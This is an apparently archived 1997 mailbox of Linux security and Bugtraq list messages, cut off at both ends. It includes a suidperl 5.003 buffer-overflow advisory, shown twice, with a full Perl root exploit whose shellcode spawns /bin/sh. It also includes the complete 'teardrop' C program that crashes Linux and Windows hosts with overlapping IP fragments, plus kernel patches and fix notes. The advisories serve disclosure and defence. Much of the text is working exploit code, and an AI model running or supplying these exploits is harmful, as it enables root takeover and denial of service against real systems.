+ ip_statistics.IpReasmFails++;
+ ip_free(qp);
+ return NULL;
+ }
/*
* Insert this fragment in the chain of fragments.
------[End] -- Helu Linux ----------------------------------------------------
EOF
--
Corporate
Persuasion
Through
Internet
Terrorism.
Return-Path: <linux-alert-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 25770 invoked from network); 14 Nov 1997 14:16:36 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 14:16:36 -0000
Received: by scylla.sovam.com id AA00224
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Fri, 14 Nov 1997 15:50:00 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA28717
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Fri, 14 Nov 1997 15:39:33 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id RAA04244
for <mc@conjurer.tyumen.ru>; Fri, 14 Nov 1997 17:38:30 +0500 (ES)
Received: (qmail 14984 invoked by uid 501); 14 Nov 1997 10:51:41 -0000
Resent-Date: 14 Nov 1997 10:51:41 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-alert-request@redhat.com Fri Nov 14 05:51:35 1997
X-Pop3-Rcpt: t757607@helium
Date: Thu, 13 Nov 1997 18:14:28 +0100 (MET)
From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
Reply-To: peak@kerberos.troja.mff.cuni.cz
To: linux-alert@redhat.com
Cc: BUGTRAQ@NETSPACE.ORG
Message-Id: <Pine.LNX.3.95.971113162510.3729B-100000@kerberos.troja.mff.cuni.cz>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-Id: <"5PNzx.0.ld3.tq2Rq"@mail2.redhat.com>
Resent-From: linux-alert@redhat.com
X-Mailing-List: <linux-alert@redhat.com> archive/latest/36
X-Loop: linux-alert@redhat.com
Precedence: list
Resent-Sender: linux-alert-request@redhat.com
Subject: [linux-alert] another buffer overrun in sperl5.003
Status:
X-PMFLAGS: 34078848 0
Summary:
Any user can gain root privileges on a Intel Linux system with suidperl
5.003 (having the suid bit, of course) even if "SUIDBUF" and "two suidperl
security patches" have been applied. Non-Intel / non-Linux platforms may
be affected as well.
Quick fix:
chmod u-s /usr/bin/sperl5.003 (what else?)
Details:
There is a nasty bug in mess() (util.c): it is possible to overflow
its buffer (via sprintf()); mess() tries to detect this situation but
fails to handle the problem properly:
[excerpt from util.c]
if (s - s_start >= sizeof(buf)) { /* Ooops! */
if (usermess)
fputs(SvPVX(tmpstr), stderr);
else
fputs(buf, stderr);
fputs("panic: message overflow - memory corrupted!\n",stderr);
my_exit(1);
}
It does not abort immediately. It prints out an error message and calls
my_exit(1), and this is very bad.
$ perl -v
This is perl, version 5.003 with EMBED
Locally applied patches:
SUIDBUF - Buffer overflow fixes for suidperl security
built under linux at Apr 22 1997 10:04:46
+ two suidperl security patches
$ perl `perl -e "print 'A' x 3000"`
Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
$ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
Segmentation fault (core dumped)
$ gdb /usr/bin/perl core
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `perl AAAAA...'.
Program terminated with signal 11, Segmentation fault.
Reading symbols ...
...
#0 0x41414141 in ?? ()
(gdb)
Voila! 0x41414141 == "AAAA"
The variable called top_env has been overwritten. In fact, it is jmp_buf
and Perl calls longjmp() with it somewhere in my_exit().
Run this and wait for a root prompt:
[exploit code]
#!/usr/bin/perl
# yes, this suidperl exploit is in perl, isn't it wonderful? :)
$| = 1;
$shellcode =
"\x90" x 512 . # nops
"\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
# "standard shellcode" by Aleph One
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
# start and end of .data
# adjust this using /proc/*/maps
$databot = 0x080a2000;
$datatop = 0x080ab000;
# trial and error loop
$address = $databot + 4;
while ($address < $datatop) {
$smash_me =
$shellcode . ('A' x (2052 - length($shellcode))) .
(pack("l", $address) x 1000) . ('B' x 1000);
$pid = fork();
if (!$pid) {
exec('/usr/bin/sperl5.003', $smash_me);
}
else {
wait;
if ($? == 0) {
printf("THE MAGIC ADDRESS WAS %08x\n", $address);
exit;
}
}
$address += 128;
}
[end of exploit code]
I have tested this on two Red Hat 4.2 systems running on Intel (with
perl-5.003-8 and -9). I am pretty sure any Intel-like Linux having
sperl5.003 is affected.
Other platforms may be affected too.
Perl 5.004 is NOT VULNERABLE.
--Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)
Return-Path: <linux-alert-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 25776 invoked from network); 14 Nov 1997 14:16:51 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 14:16:51 -0000
Received: by scylla.sovam.com id AA25855
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Fri, 14 Nov 1997 15:16:15 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA23855
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Fri, 14 Nov 1997 15:05:58 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id QAA03746
for <mc@conjurer.tyumen.ru>; Fri, 14 Nov 1997 16:50:56 +0500 (ES)
Received: (qmail 14984 invoked by uid 501); 14 Nov 1997 10:51:41 -0000
Resent-Date: 14 Nov 1997 10:51:41 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-alert-request@redhat.com Fri Nov 14 05:51:35 1997
X-Pop3-Rcpt: t757607@helium
Date: Thu, 13 Nov 1997 18:14:28 +0100 (MET)
From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
Reply-To: peak@kerberos.troja.mff.cuni.cz
To: linux-alert@redhat.com
Cc: BUGTRAQ@NETSPACE.ORG
Message-Id: <Pine.LNX.3.95.971113162510.3729B-100000@kerberos.troja.mff.cuni.cz>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-Id: <"5PNzx.0.ld3.tq2Rq"@mail2.redhat.com>
Resent-From: linux-alert@redhat.com
X-Mailing-List: <linux-alert@redhat.com> archive/latest/36
X-Loop: linux-alert@redhat.com
Precedence: list
Resent-Sender: linux-alert-request@redhat.com
Subject: [linux-alert] another buffer overrun in sperl5.003
Status:
X-PMFLAGS: 34078848 0
Summary:
Any user can gain root privileges on a Intel Linux system with suidperl
5.003 (having the suid bit, of course) even if "SUIDBUF" and "two suidperl
security patches" have been applied. Non-Intel / non-Linux platforms may
be affected as well.
Quick fix:
chmod u-s /usr/bin/sperl5.003 (what else?)
Details:
There is a nasty bug in mess() (util.c): it is possible to overflow
its buffer (via sprintf()); mess() tries to detect this situation but
fails to handle the problem properly:
[excerpt from util.c]
if (s - s_start >= sizeof(buf)) { /* Ooops! */
if (usermess)
fputs(SvPVX(tmpstr), stderr);
else
fputs(buf, stderr);
fputs("panic: message overflow - memory corrupted!\n",stderr);
my_exit(1);
}
It does not abort immediately. It prints out an error message and calls
my_exit(1), and this is very bad.
$ perl -v
This is perl, version 5.003 with EMBED
Locally applied patches:
SUIDBUF - Buffer overflow fixes for suidperl security
built under linux at Apr 22 1997 10:04:46
+ two suidperl security patches
$ perl `perl -e "print 'A' x 3000"`
Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
$ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
Segmentation fault (core dumped)
$ gdb /usr/bin/perl core
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `perl AAAAA...'.
Program terminated with signal 11, Segmentation fault.
Reading symbols ...
...
#0 0x41414141 in ?? ()
(gdb)
Voila! 0x41414141 == "AAAA"
The variable called top_env has been overwritten. In fact, it is jmp_buf
and Perl calls longjmp() with it somewhere in my_exit().
Run this and wait for a root prompt:
[exploit code]
#!/usr/bin/perl
# yes, this suidperl exploit is in perl, isn't it wonderful? :)
$| = 1;
$shellcode =
"\x90" x 512 . # nops
"\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
# "standard shellcode" by Aleph One
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
# start and end of .data
# adjust this using /proc/*/maps
$databot = 0x080a2000;
$datatop = 0x080ab000;
# trial and error loop
$address = $databot + 4;
while ($address < $datatop) {
$smash_me =
$shellcode . ('A' x (2052 - length($shellcode))) .
(pack("l", $address) x 1000) . ('B' x 1000);
$pid = fork();
if (!$pid) {
exec('/usr/bin/sperl5.003', $smash_me);
}
else {
wait;
if ($? == 0) {
printf("THE MAGIC ADDRESS WAS %08x\n", $address);
exit;
}
}
$address += 128;
}
[end of exploit code]
I have tested this on two Red Hat 4.2 systems running on Intel (with
perl-5.003-8 and -9). I am pretty sure any Intel-like Linux having
sperl5.003 is affected.
Other platforms may be affected too.
Perl 5.004 is NOT VULNERABLE.
--Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)
Return-Path: <linux-security-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 23274 invoked from network); 16 Nov 1997 01:01:36 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 16 Nov 1997 01:01:36 -0000
Received: by scylla.sovam.com id AA02218
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sun, 16 Nov 1997 02:53:17 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA02198
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sun, 16 Nov 1997 02:50:34 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id EAA09606
for <mc@conjurer.tyumen.ru>; Sun, 16 Nov 1997 04:50:13 +0500 (ES)
Received: (qmail 31116 invoked by uid 501); 15 Nov 1997 23:41:23 -0000
Resent-Date: 15 Nov 1997 23:41:23 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-security-request@redhat.com Sat Nov 15 18:41:12 1997
X-Pop3-Rcpt: t757607@helium
Date: Sat, 15 Nov 1997 10:10:51 -0500 (EST)
From: Greg Alexander <galexand@sietch.bloomington.in.us>
Reply-To: Greg Alexander <galexand@sietch.bloomington.in.us>
To: linux-alert@redhat.com, linux-security@redhat.com
Message-Id: <Pine.LNX.3.96.971115100606.26871C-100000@sietch.sietch.bloomington.in.us>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-Id: <"bgKx62.0.1Y7.OCZRq"@mail2.redhat.com>
Resent-From: linux-security@redhat.com
X-Mailing-List: <linux-security@redhat.com> archive/latest/349
X-Loop: linux-security@redhat.com
Precedence: list
Resent-Sender: linux-security-request@redhat.com
Subject: [linux-security] pentium f00f crash and IP fragment bug crash fixes...
Status:
X-PMFLAGS: 34078848 0
these are both fixed in 2.0.32-pre4 and 2.1.63. The 2.0.32-pre4 stuff seems
very solid, though the f00f bug fix is not proper for SMP machines yet. It
looks like 2.0.32-pre5 fixes the f00f bug on SMP machines properly. All of
these are available on ftp.kernel.org:
ftp://ftp.kernel.org/pub/linux/kernel/testing/pre-patch-2.0.32-5.gzftp://ftp.kernel.org/pub/linux/kernel/v2.1/linux-2.1.63.tgz
Greg Alexander - also <gralexan@indiana.edu> - http://sietch.home.ml.org/
----
Something not being where it should be does not necessitate it being where
it doesn't belong.
-- Really freakin obvious
--
----------------------------------------------------------------------
Please refere to the information about this list as well as general
information about Linux security at http://www.aoy.com/Linux/Security.
----------------------------------------------------------------------
To unsubscribe: mail -s unsubscribe test-list-request@redhat.com < /dev/null
Return-Path: <linux-security-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 10962 invoked from network); 15 Nov 1997 10:16:30 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 10:16:30 -0000
Received: by scylla.sovam.com id AA19563
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sat, 15 Nov 1997 12:20:30 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA19397
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sat, 15 Nov 1997 12:18:44 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id OAA23934
for <mc@conjurer.tyumen.ru>; Sat, 15 Nov 1997 14:18:04 +0500 (ES)
Received: (qmail 24475 invoked by uid 501); 15 Nov 1997 09:03:45 -0000
Resent-Date: 15 Nov 1997 09:03:45 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-security-request@redhat.com Sat Nov 15 04:03:17 1997
X-Pop3-Rcpt: t757607@helium
Date: Fri, 14 Nov 1997 07:22:32 -0500 (EST)
From: Trevor Johnson <trevor@jpj.net>
To: linux-security@redhat.com
Message-Id: <Pine.BSI.3.95.971114071042.17110A-100000@blues.jpj.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-Id: <"Cfvri1.0.xn5.KLMRq"@mail2.redhat.com>
Resent-From: linux-security@redhat.com
Reply-To: linux-security@redhat.com
X-Mailing-List: <linux-security@redhat.com> archive/latest/348
X-Loop: linux-security@redhat.com
Precedence: list
Resent-Sender: linux-security-request@redhat.com
Subject: [linux-security] experimental patch for Linux 2.0 against Pentium bug^H^H^Herratum
Status:
X-PMFLAGS: 34078848 0
<URL:ftp://ftp.kernel.org/pub/linux/kernel/testing/pre-patch-2.0.32-4.gz.maybe>;
___
Trevor Johnson
--
----------------------------------------------------------------------
Please refere to the information about this list as well as general
information about Linux security at http://www.aoy.com/Linux/Security.
----------------------------------------------------------------------
To unsubscribe: mail -s unsubscribe test-list-request@redhat.com < /dev/null
Return-Path: <linux-security-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 10966 invoked from network); 15 Nov 1997 10:16:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 10:16:35 -0000
Received: by scylla.sovam.com id AA15600
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sat, 15 Nov 1997 11:30:38 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA15583
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sat, 15 Nov 1997 11:26:18 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id NAA23575
for <mc@conjurer.tyumen.ru>; Sat, 15 Nov 1997 13:25:25 +0500 (ES)
Received: (qmail 5976 invoked by uid 501); 15 Nov 1997 07:43:47 -0000
Resent-Date: 15 Nov 1997 07:43:47 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-security-request@redhat.com Sat Nov 15 02:43:41 1997
X-Pop3-Rcpt: t757607@helium
Date: Fri, 14 Nov 1997 04:56:49 -0500 (EST)
From: Trevor Johnson <trevor@jpj.net>
To: linux-security@redhat.com
Message-Id: <Pine.BSI.3.95.971114045636.13795B-100000@blues.jpj.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-Id: <"YEP7a1.0.oR1.jALRq"@mail2.redhat.com>
Resent-From: linux-security@redhat.com
Reply-To: linux-security@redhat.com
X-Mailing-List: <linux-security@redhat.com> archive/latest/347
X-Loop: linux-security@redhat.com
Precedence: list
Resent-Sender: linux-security-request@redhat.com
Subject: [linux-security] Linux IP fragment overlap bug (fwd)
Status:
X-PMFLAGS: 34078848 0
---------- Forwarded message ----------
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143]) by blues.jpj.net (backatcha) with ESMTP id CAA13949; Fri, 14 Nov 1997 02:08:13 -0500 (EST)
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <818-20257>; Fri, 14 Nov 1997 01:41:22 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5638206 for BUGTRAQ@NETSPACE.ORG; Fri, 14 Nov 1997 01:35:39
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
BAA03848 for <BUGTRAQ@NETSPACE.ORG>; Fri, 14 Nov 1997 01:35:06 -0500
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <462-20254>; Fri, 14 Nov 1997
01:35:00 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from resentment.infonexus.com (resentment.infonexus.com
[207.171.209.38]) by netspace.org (8.8.7/8.8.2) with SMTP id BAA01364
for <bugtraq@netspace.org>; Fri, 14 Nov 1997 01:06:04 -0500
Received: (qmail 7022 invoked by uid 501); 14 Nov 1997 06:06:15 -0000
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-ID: <19971114060615.7021.qmail@resentment.infonexus.com>
Date: Thu, 13 Nov 1997 22:06:15 -0800
Reply-To: route@RESENTMENT.INFONEXUS.COM
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: G P R <route@RESENTMENT.INFONEXUS.COM>
Subject: Linux IP fragment overlap bug
To: BUGTRAQ@NETSPACE.ORG
Helu.
I wrote this post a while back when the bug was first discovered. It
seems as though this bug (and patch) has gotten out, so here it is, in it's
entirety.
As it happens, Linux has a serious bug in it's IP fragmentation module.
More specifically, in the fragmentation reassembly code. More specifically,
the bug manifests itself in the `ip_glue()` function....
When Linux reassembles IP fragments to form the original IP datagram, it
runs in a loop, copying the payload from all the queued fragments into a newly
allocated buffer (which would then normally be passed to the IP layer proper).
>>From ip_fragment.c@376:
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
While it does check to see if the fragment length is too large, which would
have the kernel copy too much data, it doesn't check to see if the fragment
length is too small, which would have the kernel copy WAY too data (such is the
case if fp->len is < 0).
To see when this happens, we need to look at how Linux adds IP datagrams
to the reassembly queue. From ip_fragment.c@502:
/*
* Determine the position of this fragment.
*/
end = offset + ntohs(iph->tot_len) - ihl;
Ok. That's nice. Now we have to look at what happens when we have
overlaping fragments... From ip_fragment.c@531:
/*
* We found where to put this one.
* Check for overlap with preceding fragment, and, if needed,
* align things so that any overlaps are eliminated.
*/
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}
If we find that the current fragment's offset is inside the end of a
previous fragment (overlap), we need to (try) align it correctly. Well, this
is fine and good, unless the payload of the current fragment happens to NOT
contain enough data to cover the realigning. In that case, `offset` will end
up being larger then `end`. These two values are passed to `ip_frag_create()`
where the length of the fragment data is computed. From ip_fragment.c@97:
/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset;
This results in fp->len being negative and the memcpy() at the top will end
up trying to copy entirely too much data, resulting in a reboot or a halt,
depending on how much physical memory you've got.
We can trigger this normally unlikely event by simply sending 2 specially
fragmented IP datagrams. The first is the 0 offset fragment with a payload of
size N, with the MF bit on (data content is irrelevant). The second is the
last fragment (MF == 0) with a positive offset < N and with a payload of < N.
Every linux implementation I have been able to look at seems to have this
problem (1.x - 2.x, including the development kernels).
Oh, by the way, NT/95 appear to have the bug also. Try sending 10 - 15 of
these fragment combos to an NT/95 machine.
Special thanks to klepto for bringing the problem to my attention and
writing the initial exploit.
route|daemon9 route@infonexus.com
------[Begin] -- Guby Linux -------------------------------------------------
/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
/* EOF */
------[End] -- Guby Linux ----------------------------------------------------
And the patch:
------[Begin] -- Helu Linux -------------------------------------------------
--- ip_fragment.c Mon Nov 10 14:58:38 1997
+++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997
@@ -12,6 +12,7 @@
* Alan Cox : Split from ip.c , see ip_input.c for history.
* Alan Cox : Handling oversized frames
* Uriel Maimon : Accounting errors in two fringe cases.
+ * route : IP fragment overlap bug
*/
#include <linux/types.h>
@@ -578,6 +579,22 @@
frag_kfree_s(tmp, sizeof(struct ipfrag));
}
}
+
+ /*
+ * Uh-oh. Some one's playing some park shenanigans on us.
+ * IP fragoverlap-linux-go-b00m bug.
+ * route 11.3.97
+ */
+
+ if (offset > end)
+ {
+ skb->sk = NULL;
+ printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr));
+ kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ ip_free(qp);
+ return NULL;
+ }
/*
* Insert this fragment in the chain of fragments.
------[End] -- Helu Linux ----------------------------------------------------
EOF
--
Corporate
Persuasion
Through
Internet
Terrorism.
--
----------------------------------------------------------------------
Please refere to the information about this list as well as general
information about Linux security at http://www.aoy.com/Linux/Security.
----------------------------------------------------------------------
To unsubscribe: mail -s unsubscribe test-list-request@redhat.com < /dev/null
Return-Path: <linux-security-request@redhat.com>
Delivered-To: admin@skyway.ru
Received: (qmail 25768 invoked from network); 14 Nov 1997 14:16:36 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 14:16:36 -0000
Received: by scylla.sovam.com id AA22306
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Fri, 14 Nov 1997 14:59:39 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA21226
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Fri, 14 Nov 1997 14:49:59 +0300
Received: from mail2.redhat.com (mail2.redhat.com [199.183.24.247])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id QAA03696
